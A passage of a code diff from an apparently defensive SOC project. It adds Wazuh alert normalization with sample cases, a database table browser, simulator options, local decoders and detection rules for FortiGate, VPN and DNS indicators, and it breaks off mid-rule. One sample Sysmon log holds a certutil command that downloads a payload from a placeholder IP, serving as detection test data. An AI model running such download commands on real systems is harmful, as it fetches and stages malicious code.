+        "normalized_event": normalized_event,
480
+    }
481
+
482
+
483
+@app.post(
484
+    "/ingest/wazuh-alert",
485
+    response_model=ApiResponse,
486
+    summary="Normalize Wazuh alert",
487
+    description="Normalize a raw Wazuh alert payload into both legacy ingest shape and SOC normalized event shape.",
488
+)
489
+async def ingest_wazuh_alert(payload: WazuhIngestRequest) -> ApiResponse:
490
+    return ApiResponse(data=_normalize_wazuh_ingest_payload(payload))
491
+
492
+
493
+@app.get(
494
+    "/ingest/wazuh-alert/samples",
495
+    response_model=ApiResponse,
496
+    summary="Sample normalization cases",
497
+    description="Return sample Wazuh event-log cases with expected normalized output for testing and integration.",
498
+)
499
+async def ingest_wazuh_alert_samples() -> ApiResponse:
500
+    sample_payloads = [
501
+        WazuhIngestRequest(
502
+            source="wazuh",
503
+            rule_id="110302",
504
+            alert_id="sample-a1-02",
505
+            severity=8,
506
+            title="A1 production: DNS IOC domain match event",
507
+            payload={
508
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
509
+                "full_log": "Mar 04 09:42:24 dns-fw-01 soc_mvp_test=true source=dns severity=medium event_type=ioc_domain_match src_ip=10.12.132.85 ioc_type=domain ioc_value=ioc-2080.malicious.example feed=threatintel_main confidence=high action=alert",
510
+                "agent": {"name": "dns-fw-01", "id": "001"},
511
+            },
512
+        ),
513
+        WazuhIngestRequest(
514
+            source="wazuh",
515
+            rule_id="110402",
516
+            alert_id="sample-b1-02",
517
+            severity=8,
518
+            title="B1 production: ESXi SSH enabled",
519
+            payload={
520
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
521
+                "full_log": "Mar 04 09:42:28 esxi-01 soc_mvp_test=true source=vmware severity=medium event_type=vmware_esxi_enable_ssh action=enable service=ssh user=root host=esxi-01 src_ip=203.0.113.115",
522
+                "agent": {"name": "esxi-01", "id": "002"},
523
+            },
524
+        ),
525
+        WazuhIngestRequest(
526
+            source="wazuh",
527
+            rule_id="110426",
528
+            alert_id="sample-b3-06",
529
+            severity=8,
530
+            title="B3 production: CertUtil download pattern",
531
+            payload={
532
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
533
+                "full_log": "Mar 04 09:42:35 win-sysmon-01 soc_mvp_test=true source=windows_sysmon severity=medium event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\" src_ip=10.10.10.5",
534
+                "agent": {"name": "win-sysmon-01", "id": "003"},
535
+            },
536
+        ),
537
+        WazuhIngestRequest(
538
+            source="wazuh",
539
+            rule_id="110501",
540
+            alert_id="sample-c1-01",
541
+            severity=12,
542
+            title="C1 production: Impossible travel",
543
+            payload={
544
+                "@timestamp": datetime.now(timezone.utc).isoformat(),
545
+                "full_log": "Mar 04 09:44:10 fgt-vpn-01 source=vpn severity=high event_type=vpn_login_success event_id=4624 success=true user=alice.admin src_ip=8.8.8.8 country=US src_lat=37.3861 src_lon=-122.0839 dst_host=vpn-gw-01",
546
+                "agent": {"name": "fgt-vpn-01", "id": "004"},
547
+            },
548
+        ),
549
+    ]
550
+
551
+    cases = []
552
+    for item in sample_payloads:
553
+        cases.append(
554
+            {
555
+                "name": str(item.alert_id),
556
+                "request": item.model_dump(mode="json"),
557
+                "result": _normalize_wazuh_ingest_payload(item),
558
+            }
559
+        )
560
+
561
+    return ApiResponse(data={"cases": cases, "count": len(cases)})
466 562
 
467 563
 
468 564
 @app.post(
@@ -1540,6 +1636,130 @@ async def wazuh_auto_sync_status() -> ApiResponse:
1540 1636
 
1541 1637
 
1542 1638
 @app.get(
1639
+    "/monitor/db/tables",
1640
+    response_model=ApiResponse,
1641
+    dependencies=[Depends(require_internal_api_key)],
1642
+    summary="List database tables",
1643
+    description="List soc-integrator PostgreSQL tables with row count and relation size.",
1644
+)
1645
+async def monitor_db_tables() -> ApiResponse:
1646
+    rows: list[dict[str, object]] = []
1647
+    with get_conn() as conn, conn.cursor() as cur:
1648
+        cur.execute(
1649
+            """
1650
+            SELECT
1651
+              t.schemaname,
1652
+              t.tablename,
1653
+              COALESCE(s.n_live_tup, 0)::BIGINT AS estimated_rows,
1654
+              COALESCE(pg_total_relation_size(format('%I.%I', t.schemaname, t.tablename)), 0)::BIGINT AS size_bytes,
1655
+              COALESCE(pg_size_pretty(pg_total_relation_size(format('%I.%I', t.schemaname, t.tablename))), '0 bytes') AS size_pretty
1656
+            FROM pg_tables t
1657
+            LEFT JOIN pg_stat_user_tables s
1658
+              ON s.schemaname = t.schemaname
1659
+             AND s.relname = t.tablename
1660
+            WHERE t.schemaname = 'public'
1661
+            ORDER BY t.tablename
1662
+            """
1663
+        )
1664
+        tables = cur.fetchall()
1665
+
1666
+        for item in tables:
1667
+            schema = str(item.get("schemaname") or "public")
1668
+            table = str(item.get("tablename") or "")
1669
+            if not table:
1670
+                continue
1671
+
1672
+            cur.execute(
1673
+                sql.SQL("SELECT COUNT(*) AS cnt FROM {}.{}").format(
1674
+                    sql.Identifier(schema),
1675
+                    sql.Identifier(table),
1676
+                )
1677
+            )
1678
+            count_row = cur.fetchone() or {}
1679
+            row_count = int(count_row.get("cnt", 0) or 0)
1680
+
1681
+            rows.append(
1682
+                {
1683
+                    "schema": schema,
1684
+                    "table": table,
1685
+                    "row_count": row_count,
1686
+                    "estimated_rows": int(item.get("estimated_rows", 0) or 0),
1687
+                    "size_bytes": int(item.get("size_bytes", 0) or 0),
1688
+                    "size_pretty": str(item.get("size_pretty") or "0 bytes"),
1689
+                }
1690
+            )
1691
+
1692
+    return ApiResponse(
1693
+        data={
1694
+            "database": settings.soc_integrator_db_name,
1695
+            "generated_at": datetime.now(timezone.utc).isoformat(),
1696
+            "tables": rows,
1697
+        }
1698
+    )
1699
+
1700
+
1701
+@app.get(
1702
+    "/monitor/db/tables/{table_name}/rows",
1703
+    response_model=ApiResponse,
1704
+    dependencies=[Depends(require_internal_api_key)],
1705
+    summary="List rows from selected table",
1706
+    description="Return rows from a selected public table with pagination.",
1707
+)
1708
+async def monitor_db_table_rows(
1709
+    table_name: str,
1710
+    limit: int = 50,
1711
+    offset: int = 0,
1712
+) -> ApiResponse:
1713
+    table = str(table_name or "").strip()
1714
+    if not table:
1715
+        raise HTTPException(status_code=400, detail="table_name is required")
1716
+
1717
+    page_limit = max(1, min(int(limit), 500))
1718
+    page_offset = max(0, int(offset))
1719
+
1720
+    with get_conn() as conn, conn.cursor() as cur:
1721
+        cur.execute(
1722
+            """
1723
+            SELECT 1
1724
+            FROM pg_tables
1725
+            WHERE schemaname = 'public' AND tablename = %s
1726
+            LIMIT 1
1727
+            """,
1728
+            (table,),
1729
+        )
1730
+        if not cur.fetchone():
1731
+            raise HTTPException(status_code=404, detail=f"table '{table}' not found in schema public")
1732
+
1733
+        cur.execute(
1734
+            sql.SQL("SELECT COUNT(*) AS cnt FROM {}.{}").format(
1735
+                sql.Identifier("public"),
1736
+                sql.Identifier(table),
1737
+            )
1738
+        )
1739
+        total_row = cur.fetchone() or {}
1740
+        total = int(total_row.get("cnt", 0) or 0)
1741
+
1742
+        cur.execute(
1743
+            sql.SQL("SELECT * FROM {}.{} ORDER BY 1 DESC LIMIT %s OFFSET %s").format(
1744
+                sql.Identifier("public"),
1745
+                sql.Identifier(table),
1746
+            ),
1747
+            (page_limit, page_offset),
1748
+        )
1749
+        rows = [dict(item) for item in (cur.fetchall() or [])]
1750
+
1751
+    return ApiResponse(
1752
+        data={
1753
+            "table": table,
1754
+            "limit": page_limit,
1755
+            "offset": page_offset,
1756
+            "total": total,
1757
+            "rows": rows,
1758
+        }
1759
+    )
1760
+
1761
+
1762
+@app.get(
1543 1763
     "/monitor/systems",
1544 1764
     response_model=ApiResponse,
1545 1765
     dependencies=[Depends(require_internal_api_key)],

+ 34 - 1
soc-integrator/app/services/mvp_service.py

@@ -138,10 +138,43 @@ class MvpService:
138 138
         return "low"
139 139
 
140 140
     def _event_type_from_text(self, text: str, parsed: dict[str, str]) -> str:
141
-        explicit = parsed.get("event_type")
141
+        explicit = str(parsed.get("event_type") or "").strip().lower()
142
+        usecase_id = str(parsed.get("usecase_id") or "").strip().upper()
143
+        section = str(parsed.get("section") or "").strip().upper()
144
+        source = str(parsed.get("source") or "").strip().lower()
145
+        success = str(parsed.get("success") or "").strip().lower()
146
+        has_geo = bool(parsed.get("country") or parsed.get("src_lat") or parsed.get("src_lon"))
147
+        has_user = bool(parsed.get("user"))
148
+        has_src_ip = bool(parsed.get("src_ip") or parsed.get("srcip"))
149
+        explicit_success_login = explicit in {
150
+            "vpn_login_success",
151
+            "windows_auth_success",
152
+            "auth_success",
153
+        }
154
+
155
+        # Production-first C1 detection:
156
+        # successful auth/login + geo context on vpn/windows identity streams.
157
+        if (
158
+            (source in {"vpn", "fortigate", "windows", "identity"} or "vpn" in source)
159
+            and has_geo
160
+            and has_user
161
+            and has_src_ip
162
+            and (success == "true" or explicit_success_login)
163
+        ):
164
+            return "c1_impossible_travel"
165
+
166
+        # Legacy simulator markers remain supported as fallback.
167
+        if usecase_id.startswith("C1") or section == "C1":
168
+            return "c1_impossible_travel"
169
+        if explicit in {"c1_impossible_travel", "impossible_travel"}:
170
+            return "c1_impossible_travel"
171
+        if explicit == "vpn_geo_anomaly":
172
+            return "vpn_geo_anomaly"
142 173
         if explicit:
143 174
             return explicit
144 175
         lowered = text.lower()
176
+        if "impossible travel" in lowered:
177
+            return "c1_impossible_travel"
145 178
         if "vpn" in lowered and ("geo" in lowered or "country" in lowered):
146 179
             return "vpn_geo_anomaly"
147 180
         if "domain" in lowered or "dns" in lowered:

+ 162 - 14
soc-integrator/app/ui/assets/app.js

@@ -22,11 +22,32 @@ function parseJsonOrThrow(text, label) {
22 22
   }
23 23
 }
24 24
 
25
+const SIM_SCRIPT_DESCRIPTIONS = {
26
+  fortigate: "FortiGate firewall telemetry simulator (40F/60F/80F/501E) for network and security events.",
27
+  endpoint: "Windows/macOS/Linux endpoint-agent simulator for process, auth, and endpoint behavior logs.",
28
+  cisco: "Cisco ASA/IOS network log simulator for parser/rule coverage and telemetry validation.",
29
+  proposal_required: "Appendix A required-use-case simulator (A1-A4) for proposal/UAT coverage.",
30
+  proposal_appendix_b: "Appendix B optional-use-case simulator (B1-B3), including log-loss test flow.",
31
+  proposal_appendix_c: "Appendix C future-enhancement simulator (C1-C3 currently implemented).",
32
+  wazuh_test: "Generic Wazuh baseline test events for connectivity and ingest sanity checks.",
33
+};
34
+
35
+const SIM_SCRIPT_TARGET_OPTIONS = {
36
+  fortigate: ["all", "501E", "80F", "60F", "40F"],
37
+  endpoint: ["all", "windows", "mac", "linux"],
38
+  cisco: ["all", "asa_acl_deny", "asa_vpn_auth_fail", "ios_login_fail", "ios_config_change"],
39
+  proposal_required: ["all", "a1", "a2", "a3", "a4"],
40
+  proposal_appendix_b: ["all", "b1", "b2", "b3"],
41
+  proposal_appendix_c: ["all", "c1", "c2", "c3"],
42
+  wazuh_test: ["all", "ioc_dns", "ioc_ips", "vpn_outside_th", "windows_auth_fail"],
43
+};
44
+
25 45
 window.socUi = function socUi() {
26 46
   return {
27 47
     tabs: [
28 48
       { key: "overview", label: "Overview" },
29 49
       { key: "systems", label: "Systems" },
50
+      { key: "database", label: "Database" },
30 51
       { key: "monitoring", label: "Monitoring" },
31 52
       { key: "ioc", label: "IOC" },
32 53
       { key: "geoip", label: "GeoIP" },
@@ -53,6 +74,18 @@ window.socUi = function socUi() {
53 74
       lastRefreshAt: null,
54 75
       timerId: null,
55 76
     },
77
+    dbTables: {
78
+      data: null,
79
+      loading: false,
80
+      lastRefreshAt: null,
81
+    },
82
+    dbBrowser: {
83
+      selectedTable: "",
84
+      rows: null,
85
+      loading: false,
86
+      limit: 50,
87
+      offset: 0,
88
+    },
56 89
     simLogs: {
57 90
       runs: null,
58 91
       startResult: null,
@@ -64,7 +97,7 @@ window.socUi = function socUi() {
64 97
       timerId: null,
65 98
       form: {
66 99
         script: "fortigate",
67
-        target: "all",
100
+        targets: ["all"],
68 101
         scenario: "all",
69 102
         count: 1,
70 103
         delay_seconds: 0.3,
@@ -176,6 +209,7 @@ window.socUi = function socUi() {
176 209
       this.loadAutoSync();
177 210
       this.loadCState();
178 211
       this.loadSystemsMonitor();
212
+      this.loadDbTables();
179 213
       this.loadSimRuns();
180 214
       this.startSimLogsAutoRefresh();
181 215
       this.startSystemsMonitorAutoRefresh();
@@ -186,6 +220,43 @@ window.socUi = function socUi() {
186 220
       return this.simLogs.form.script === "endpoint";
187 221
     },
188 222
 
223
+    simScriptDescription() {
224
+      const key = String(this.simLogs.form.script || "").trim();
225
+      return SIM_SCRIPT_DESCRIPTIONS[key] || "No description available for this script.";
226
+    },
227
+
228
+    simTargetOptions() {
229
+      const key = String(this.simLogs.form.script || "").trim();
230
+      return SIM_SCRIPT_TARGET_OPTIONS[key] || ["all"];
231
+    },
232
+
233
+    simTargetSelectionChanged() {
234
+      const options = this.simTargetOptions();
235
+      const selected = Array.isArray(this.simLogs.form.targets) ? [...this.simLogs.form.targets] : [];
236
+      let valid = selected.filter((item) => options.includes(item));
237
+      if (valid.includes("all") && valid.length > 1) {
238
+        valid = ["all"];
239
+      }
240
+      if (!valid.length) {
241
+        valid = ["all"];
242
+      }
243
+      this.simLogs.form.targets = valid;
244
+    },
245
+
246
+    onSimScriptChange() {
247
+      this.simTargetSelectionChanged();
248
+    },
249
+
250
+    selectedTargetsForRun() {
251
+      const options = this.simTargetOptions();
252
+      let selected = Array.isArray(this.simLogs.form.targets) ? [...this.simLogs.form.targets] : [];
253
+      selected = selected.filter((item) => options.includes(item));
254
+      if (!selected.length || selected.includes("all")) {
255
+        return ["all"];
256
+      }
257
+      return selected;
258
+    },
259
+
189 260
     systemsStatusClass(status) {
190 261
       if (status === "ok") {
191 262
         return "status-ok";
@@ -279,6 +350,67 @@ window.socUi = function socUi() {
279 350
       }
280 351
     },
281 352
 
353
+    async loadDbTables() {
354
+      try {
355
+        if (!this.internalApiKey) {
356
+          return;
357
+        }
358
+        this.dbTables.loading = true;
359
+        this.dbTables.data = await this.apiCall("/monitor/db/tables", {
360
+          internal: true,
361
+        });
362
+        this.dbTables.lastRefreshAt = new Date().toISOString();
363
+        if (!this.dbBrowser.selectedTable) {
364
+          const tables = this.dbTableRows();
365
+          if (tables.length > 0) {
366
+            this.dbBrowser.selectedTable = String(tables[0].table || "");
367
+            await this.loadDbRows();
368
+          }
369
+        }
370
+      } catch (err) {
371
+        this.setErr("Database tables failed", err);
372
+      } finally {
373
+        this.dbTables.loading = false;
374
+      }
375
+    },
376
+
377
+    dbTableRows() {
378
+      const root = this.unwrapApiData(this.dbTables.data) || {};
379
+      const tables = Array.isArray(root.tables) ? root.tables : [];
380
+      return tables.map((row, index) => this.normalizeTableRow(row, index));
381
+    },
382
+
383
+    async loadDbRows() {
384
+      try {
385
+        const table = String(this.dbBrowser.selectedTable || "").trim();
386
+        if (!table) {
387
+          this.dbBrowser.rows = null;
388
+          return;
389
+        }
390
+        this.dbBrowser.loading = true;
391
+        const limit = Math.max(1, Math.min(500, Number(this.dbBrowser.limit || 50)));
392
+        const offset = Math.max(0, Number(this.dbBrowser.offset || 0));
393
+        this.dbBrowser.rows = await this.apiCall(
394
+          `/monitor/db/tables/${encodeURIComponent(table)}/rows?limit=${limit}&offset=${offset}`,
395
+          { internal: true },
396
+        );
397
+      } catch (err) {
398
+        this.setErr("Database rows failed", err);
399
+      } finally {
400
+        this.dbBrowser.loading = false;
401
+      }
402
+    },
403
+
404
+    dbSelectedRows() {
405
+      const root = this.unwrapApiData(this.dbBrowser.rows) || {};
406
+      const rows = Array.isArray(root.rows) ? root.rows : [];
407
+      return rows.map((row, index) => this.normalizeTableRow(row, index));
408
+    },
409
+
410
+    dbSelectedColumns() {
411
+      return this.tableColumns(this.dbSelectedRows());
412
+    },
413
+
282 414
     async loadSimRuns() {
283 415
       try {
284 416
         if (!this.internalApiKey) {
@@ -299,21 +431,37 @@ window.socUi = function socUi() {
299 431
 
300 432
     async startSimRun() {
301 433
       try {
302
-        const payload = {
303
-          script: this.simLogs.form.script,
304
-          target: this.simLogs.form.target || "all",
305
-          scenario: this.simLogs.form.scenario || "all",
306
-          count: Number(this.simLogs.form.count || 1),
307
-          delay_seconds: Number(this.simLogs.form.delay_seconds || 0.3),
308
-          forever: Boolean(this.simLogs.form.forever),
434
+        const targets = this.selectedTargetsForRun();
435
+        const results = [];
436
+        for (const target of targets) {
437
+          const payload = {
438
+            script: this.simLogs.form.script,
439
+            target,
440
+            scenario: this.simLogs.form.scenario || "all",
441
+            count: Number(this.simLogs.form.count || 1),
442
+            delay_seconds: Number(this.simLogs.form.delay_seconds || 0.3),
443
+            forever: Boolean(this.simLogs.form.forever),
444
+          };
445
+          const result = await this.apiCall("/sim/logs/start", {
446
+            method: "POST",
447
+            internal: true,
448
+            json: payload,
449
+          });
450
+          results.push({ target, result });
451
+        }
452
+        this.simLogs.startResult = {
453
+          data: {
454
+            started_targets: targets,
455
+            runs: results.map((item) => ({
456
+              target: item.target,
457
+              run: this.unwrapApiData(item.result)?.run || null,
458
+            })),
459
+          },
309 460
         };
310
-        this.simLogs.startResult = await this.apiCall("/sim/logs/start", {
311
-          method: "POST",
312
-          internal: true,
313
-          json: payload,
314
-        });
315 461
         await this.loadSimRuns();
316
-        const started = this.unwrapApiData(this.simLogs.startResult)?.run;
462
+        const started = results
463
+          .map((item) => this.unwrapApiData(item.result)?.run)
464
+          .find((run) => run && run.run_id);
317 465
         if (started && started.run_id) {
318 466
           this.simLogs.selectedRunId = started.run_id;
319 467
           await this.loadSimOutput(started.run_id);

+ 104 - 6
soc-integrator/app/ui/index.html

@@ -6,8 +6,8 @@
6 6
     <title>SOC Integrator Admin</title>
7 7
     <script src="https://cdn.tailwindcss.com"></script>
8 8
     <script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
9
-    <link rel="stylesheet" href="/ui/assets/styles.css?v=20260303-17" />
10
-    <script src="/ui/assets/app.js?v=20260303-17"></script>
9
+    <link rel="stylesheet" href="/ui/assets/styles.css?v=20260304-04" />
10
+    <script src="/ui/assets/app.js?v=20260304-04"></script>
11 11
   </head>
12 12
   <body class="bg-slate-100 text-slate-800" x-data="socUi()" x-init="init()">
13 13
     <div class="mx-auto w-full max-w-none px-3 py-4 md:px-5 md:py-6">
@@ -132,7 +132,7 @@
132 132
               <div class="grid gap-3 md:grid-cols-3 lg:grid-cols-6">
133 133
                 <label class="text-sm">
134 134
                   <span class="input-label">Script</span>
135
-                  <select class="input" x-model="simLogs.form.script">
135
+                  <select class="input" x-model="simLogs.form.script" @change="onSimScriptChange()">
136 136
                     <option value="fortigate">fortigate</option>
137 137
                     <option value="endpoint">endpoint</option>
138 138
                     <option value="cisco">cisco</option>
@@ -141,10 +141,20 @@
141 141
                     <option value="proposal_appendix_c">proposal_appendix_c</option>
142 142
                     <option value="wazuh_test">wazuh_test</option>
143 143
                   </select>
144
+                  <div class="mt-1 text-xs text-slate-500" x-text="simScriptDescription()"></div>
144 145
                 </label>
145
-                <label class="text-sm">
146
-                  <span class="input-label">Target</span>
147
-                  <input class="input" x-model="simLogs.form.target" placeholder="all" />
146
+                <label class="text-sm md:col-span-2">
147
+                  <span class="input-label">Target (multi-select)</span>
148
+                  <div class="rounded-md border border-slate-200 bg-white p-2">
149
+                    <div class="grid grid-cols-2 gap-2">
150
+                      <template x-for="option in simTargetOptions()" :key="`target-${option}`">
151
+                        <label class="inline-flex items-center gap-2 text-xs text-slate-700">
152
+                          <input type="checkbox" class="h-4 w-4" :value="option" x-model="simLogs.form.targets" @change="simTargetSelectionChanged()" />
153
+                          <span x-text="option"></span>
154
+                        </label>
155
+                      </template>
156
+                    </div>
157
+                  </div>
148 158
                 </label>
149 159
                 <label class="text-sm" x-show="simScriptUsesScenario()">
150 160
                   <span class="input-label">Scenario</span>
@@ -308,6 +318,42 @@
308 318
               </div>
309 319
             </div>
310 320
 
321
+            <div class="panel-block">
322
+              <div class="mb-2 flex flex-wrap items-center gap-2">
323
+                <h3 class="panel-subtitle mb-0">Database Tables</h3>
324
+                <button class="btn btn-primary" @click="loadDbTables()">Refresh Tables</button>
325
+                <span class="text-xs text-slate-500" x-text="dbTables.loading ? 'Loading...' : 'Idle'"></span>
326
+                <span class="text-xs text-slate-500" x-text="dbTables.lastRefreshAt ? `Last refresh: ${dbTables.lastRefreshAt}` : 'Not refreshed yet'"></span>
327
+              </div>
328
+              <div class="table-wrap mt-2" x-show="dbTableRows().length">
329
+                <table class="data-table">
330
+                  <thead>
331
+                    <tr>
332
+                      <th>schema</th>
333
+                      <th>table</th>
334
+                      <th>row_count</th>
335
+                      <th>estimated_rows</th>
336
+                      <th>size_pretty</th>
337
+                      <th>size_bytes</th>
338
+                    </tr>
339
+                  </thead>
340
+                  <tbody>
341
+                    <template x-for="(row, idx) in dbTableRows()" :key="idx">
342
+                      <tr>
343
+                        <td x-text="cellText(row.schema)"></td>
344
+                        <td x-text="cellText(row.table)"></td>
345
+                        <td x-text="cellText(row.row_count)"></td>
346
+                        <td x-text="cellText(row.estimated_rows)"></td>
347
+                        <td x-text="cellText(row.size_pretty)"></td>
348
+                        <td x-text="cellText(row.size_bytes)"></td>
349
+                      </tr>
350
+                    </template>
351
+                  </tbody>
352
+                </table>
353
+              </div>
354
+              <div class="text-xs text-slate-500" x-show="!dbTableRows().length">No database table data</div>
355
+            </div>
356
+
311 357
             <div class="grid gap-3 lg:grid-cols-2">
312 358
               <template x-for="meta in systemsCardMeta" :key="`table-${meta.key}`">
313 359
                 <div class="panel-block">
@@ -338,6 +384,58 @@
338 384
             </div>
339 385
           </section>
340 386
 
387
+          <section x-show="activeTab === 'database'" x-cloak class="admin-card space-y-4">
388
+            <div class="panel-block">
389
+              <div class="mb-2 flex flex-wrap items-center gap-2">
390
+                <h3 class="panel-subtitle mb-0">Database Table Browser</h3>
391
+                <button class="btn btn-primary" @click="loadDbTables()">Refresh Tables</button>
392
+                <button class="btn btn-neutral" @click="loadDbRows()">Load Rows</button>
393
+                <span class="text-xs text-slate-500" x-text="dbBrowser.loading ? 'Loading rows...' : 'Idle'"></span>
394
+              </div>
395
+              <div class="grid gap-3 md:grid-cols-4">
396
+                <label class="text-sm md:col-span-2">
397
+                  <span class="input-label">Table</span>
398
+                  <select class="input" x-model="dbBrowser.selectedTable">
399
+                    <option value="">Select table</option>
400
+                    <template x-for="(row, idx) in dbTableRows()" :key="`db-table-${idx}`">
401
+                      <option :value="row.table" x-text="`${row.schema}.${row.table}`"></option>
402
+                    </template>
403
+                  </select>
404
+                </label>
405
+                <label class="text-sm">
406
+                  <span class="input-label">Limit</span>
407
+                  <input class="input" type="number" min="1" max="500" x-model.number="dbBrowser.limit" />
408
+                </label>
409
+                <label class="text-sm">
410
+                  <span class="input-label">Offset</span>
411
+                  <input class="input" type="number" min="0" x-model.number="dbBrowser.offset" />
412
+                </label>
413
+              </div>
414
+              <pre class="json-box mt-2" x-text="pretty(dbBrowser.rows)"></pre>
415
+              <div class="table-wrap mt-2" x-show="dbSelectedRows().length">
416
+                <table class="data-table">
417
+                  <thead>
418
+                    <tr>
419
+                      <template x-for="col in dbSelectedColumns()" :key="col">
420
+                        <th x-text="col"></th>
421
+                      </template>
422
+                    </tr>
423
+                  </thead>
424
+                  <tbody>
425
+                    <template x-for="(row, idx) in dbSelectedRows()" :key="`db-row-${idx}`">
426
+                      <tr>
427
+                        <template x-for="col in dbSelectedColumns()" :key="col">
428
+                          <td x-text="cellText(row[col])"></td>
429
+                        </template>
430
+                      </tr>
431
+                    </template>
432
+                  </tbody>
433
+                </table>
434
+              </div>
435
+              <div class="text-xs text-slate-500" x-show="!dbSelectedRows().length">No rows loaded</div>
436
+            </div>
437
+          </section>
438
+
341 439
           <section x-show="activeTab === 'monitoring'" x-cloak class="admin-card space-y-4">
342 440
             <div class="panel-block">
343 441
               <div class="mb-2 flex flex-wrap items-center gap-2">

+ 25 - 2
wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml

@@ -1,2 +1,25 @@
1
-<decoders>
2
-</decoders>
1
+<!-- SOC MVP local decoders (minimal production-safe set) -->
2
+
3
+<decoder name="soc-kv-base">
4
+  <prematch>soc_mvp_test=true</prematch>
5
+</decoder>
6
+
7
+<decoder name="soc-dns-ioc">
8
+  <parent>soc-kv-base</parent>
9
+  <prematch>source=dns</prematch>
10
+</decoder>
11
+
12
+<decoder name="soc-vmware-auth">
13
+  <parent>soc-kv-base</parent>
14
+  <prematch>source=vmware</prematch>
15
+</decoder>
16
+
17
+<decoder name="soc-log-monitor">
18
+  <parent>soc-kv-base</parent>
19
+  <prematch>source=log_monitor</prematch>
20
+</decoder>
21
+
22
+<decoder name="soc-windows-sysmon">
23
+  <parent>soc-kv-base</parent>
24
+  <prematch>source=windows_sysmon</prematch>
25
+</decoder>

+ 201 - 0
wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml

@@ -107,4 +107,205 @@
107 107
   <rule id="100522" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-02</match><description>C3-02 SMB/RDP Lateral Burst Pattern</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
108 108
   <rule id="100523" level="12"><if_sid>100230</if_sid><match>usecase_id=C3-03</match><description>C3-03 Admin Account Accessing Many Servers Rapidly</description><group>soc_mvp_test,appendix_c,c3,lateral_movement,</group></rule>
109 109
   <rule id="100524" level="8"><if_sid>100230</if_sid><match>usecase_id=C3-04</match><description>C3-04 Internal Scanning / Enumeration Behavior</description><group>soc_mvp_test,appendix_c,c3,recon,</group></rule>
110
+  <!-- ========================= -->
111
+  <!-- Production profile rules -->
112
+  <!-- ========================= -->
113
+  <!--
114
+    Production profile (second profile):
115
+    - Does not depend on simulation marker fields (soc_mvp_test/usecase_id)
116
+    - Uses source-like patterns that can appear in real logs
117
+    - Rule IDs are separated from simulation profile in 110xxx range
118
+  -->
119
+
120
+  <rule id="110200" level="3">
121
+    <description>SOC MVP production profile enabled</description>
122
+    <group>soc_mvp_prod,baseline,</group>
123
+  </rule>
124
+
125
+  <!-- Appendix A1: DNS / Firewall IOC -->
126
+  <rule id="110301" level="8">
127
+    <decoded_as>soc-dns-ioc</decoded_as>
128
+    <match>event_type=ioc_dns_traffic</match>
129
+    <match>malicious.example</match>
130
+    <description>A1 production: DNS query to malicious domain indicator</description>
131
+    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
132
+  </rule>
133
+  <rule id="110302" level="8">
134
+    <decoded_as>soc-dns-ioc</decoded_as>
135
+    <match>event_type=ioc_domain_match</match>
136
+    <description>A1 production: DNS IOC domain match event</description>
137
+    <group>soc_mvp_prod,appendix_a,a1,ioc,dns,</group>
138
+  </rule>
139
+
140
+  <!-- Appendix A2: FortiGate IPS/IDS & Firewall -->
141
+  <rule id="110311" level="12">
142
+    <match>vendor=fortinet</match>
143
+    <match>dstport=3389</match>
144
+    <match>action="accept"</match>
145
+    <description>A2 production: FortiGate allowed RDP traffic detected</description>
146
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
147
+  </rule>
148
+  <rule id="110312" level="12">
149
+    <match>vendor=fortinet</match>
150
+    <match>action="password-change"</match>
151
+    <description>A2 production: FortiGate admin password change</description>
152
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
153
+  </rule>
154
+  <rule id="110313" level="12">
155
+    <match>vendor=fortinet</match>
156
+    <match>action="create-admin"</match>
157
+    <description>A2 production: FortiGate admin account creation</description>
158
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
159
+  </rule>
160
+  <rule id="110314" level="12">
161
+    <match>vendor=fortinet</match>
162
+    <match>action="disable-email-notification"</match>
163
+    <description>A2 production: FortiGate email notification disabled</description>
164
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
165
+  </rule>
166
+  <rule id="110315" level="5">
167
+    <match>vendor=fortinet</match>
168
+    <match>action="download-config"</match>
169
+    <description>A2 production: FortiGate configuration download</description>
170
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,</group>
171
+  </rule>
172
+  <rule id="110316" level="8">
173
+    <match>vendor=fortinet</match>
174
+    <match>subtype="ips"</match>
175
+    <match>severity="critical"</match>
176
+    <description>A2 production: FortiGate critical IPS alert</description>
177
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ips,</group>
178
+  </rule>
179
+  <rule id="110317" level="5">
180
+    <match>vendor=fortinet</match>
181
+    <match>event_type=port_scan</match>
182
+    <description>A2 production: FortiGate port scanning indicator</description>
183
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,recon,</group>
184
+  </rule>
185
+  <rule id="110318" level="8">
186
+    <match>vendor=fortinet</match>
187
+    <match>event_type=ioc_detection</match>
188
+    <description>A2 production: FortiGate IOC detection event</description>
189
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
190
+  </rule>
191
+  <rule id="110320" level="8">
192
+    <match>vendor=fortinet</match>
193
+    <match>event_type=malicious_ip_communication</match>
194
+    <description>A2 production: Communication to malicious IP detected</description>
195
+    <group>soc_mvp_prod,appendix_a,a2,fortigate,ioc,</group>
196
+  </rule>
197
+
198
+  <!-- Appendix A3: FortiGate VPN -->
199
+  <rule id="110331" level="12">
200
+    <match>subtype="vpn"</match>
201
+    <match>success=true</match>
202
+    <match>guest</match>
203
+    <description>A3 production: VPN success by guest account</description>
204
+    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
205
+  </rule>
206
+  <rule id="110333" level="12">
207
+    <match>subtype="vpn"</match>
208
+    <match>event_type=vpn_bruteforce_success</match>
209
+    <description>A3 production: VPN brute-force success indicator</description>
210
+    <group>soc_mvp_prod,appendix_a,a3,vpn,</group>
211
